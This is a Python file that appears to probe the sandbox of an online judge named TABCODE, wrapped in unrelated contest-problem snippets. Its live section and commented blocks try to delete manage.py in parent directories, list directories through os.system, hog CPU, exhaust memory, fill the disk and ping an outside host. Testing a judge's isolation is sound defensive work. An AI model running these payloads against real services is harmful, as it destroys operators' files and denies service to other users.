# x,y=(input()).split(" ")
# x=int(x)
# y=int(y)
# for i in range(1,10000,1):
# for j in range(1,20000,1):
# for k in range(1,300000,1):
# pass
# print(x+y)
# while True:
# pass
# print((int(input()))+3)
#کد مخرب
# ۱. Delete attempt
# import os
# try:
# os.remove('../manage.py') # ❌ sandbox محدود!
# print("DELETED! 😈")
# except Exception as e:
# print(f"Delete failed: {e}")
# # ۲. Infinite loop CPU hog
# import time
# start = time.time()
# while time.time() - start < 10: # ۱۰s CPU 100%
# pass
# print("CPU survived!")
# # ۳. Memory hogger
# a = []
# try:
# while True:
# a.append('x'*1000000) # RAM پر کن
# except MemoryError:
# print("Memory limit hit!")
#کد مخرب
# import os
# try:
# os.remove("../../manage.py") # breakout attempt
# print("HACKED!")
# except:
# print("Jail secure!")
# import time
# start = time.time()
# while time.time() - start < 10: pass # CPU burn
# a = []
# while len(a) < 100000: # Memory bomb
# a.append("x" * 100000)
# print("Survived!")
#کد مخرب
import os
import sys
import time
import subprocess
print("=== TABCODE JUDGE ATTACK TEST ===")
print("1. FILESYSTEM BREAKOUT")
try:
os.remove("../../manage.py")
print("💀 CRITICAL: manage.py DELETED!")
except Exception as e:
print(f"✅ SECURE: {e}")
try:
os.system("dir ..\\..")
print("🐛 ESCAPED!")
except:
print("✅ JAIL WORKS")
print("\n2. CPU 100% BOMB")
start = time.time()
counter = 0
while time.time() - start < 15:
counter += 1
print(f"☠️ CPU survived: {counter}")
print("\n3. MEMORY EXPLOSION")
a = []
try:
for i in range(100000):
a.append("A" * 10000)
print("💣 RAM OVERFLOW!")
except MemoryError:
print(f"✅ MLE: {len(a)} chunks")
print("\n4. DISK FILL")
try:
for i in range(100):
with open(f"evil_{i}.txt", "w") as f:
f.write("A" * 1000000)
print("💾 DISK FULL!")
except:
print("✅ Disk limited")
print("\n5. NETWORK/COMMAND")
try:
subprocess.run(["ping", "google.com"], timeout=1)
print("🌐 Network escape!")
except:
print("✅ No network")
print("🎯 JUDGE VERDICT: SECURE!" * 10)
# a,b,c,d=map(int, input().split(" "))
# if a==b and c==d:
# print("YES")
# elif a==c and b==d:
# print("YES")
# elif a==d and b==c:
# print("YES")
# else:
# print("NO")